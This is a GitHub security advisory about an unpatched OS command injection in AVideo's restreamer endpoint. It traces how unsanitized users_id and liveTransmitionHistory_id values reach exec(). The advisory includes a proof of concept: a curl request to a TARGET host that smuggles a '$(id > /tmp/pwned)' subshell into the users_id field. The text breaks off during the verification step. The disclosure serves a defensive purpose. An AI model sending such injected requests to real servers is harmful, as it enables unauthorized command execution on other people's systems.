GitHub Security Advisory: GHSA-5m4q-5cvx-36mw
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.8)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path

Details:
## Summary

The restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.

## Details

The vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:

**1. User input ingestion** (line 220):
```php
$request = file_get_contents("php://input");
$robj = json_decode($request);
```

**2. Log file template** (line 58):
```php
$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";
```

**3. `users_id` injected without sanitization** (line 318):
```php
$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);
```

**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):
```php
$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);
```

Note: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.

**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):
```php
// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');
```

The code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.

## PoC

**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.

**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.

**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:

```bash
curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "x$(id > /tmp/pwned)x",
    "liveTransmitionHistory_id": "1"
  }'
```

**Step 3:** The resulting exec call becomes:
```
ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &
```

The `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.

**Step 4:** Verify command execution:
```bash
curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing th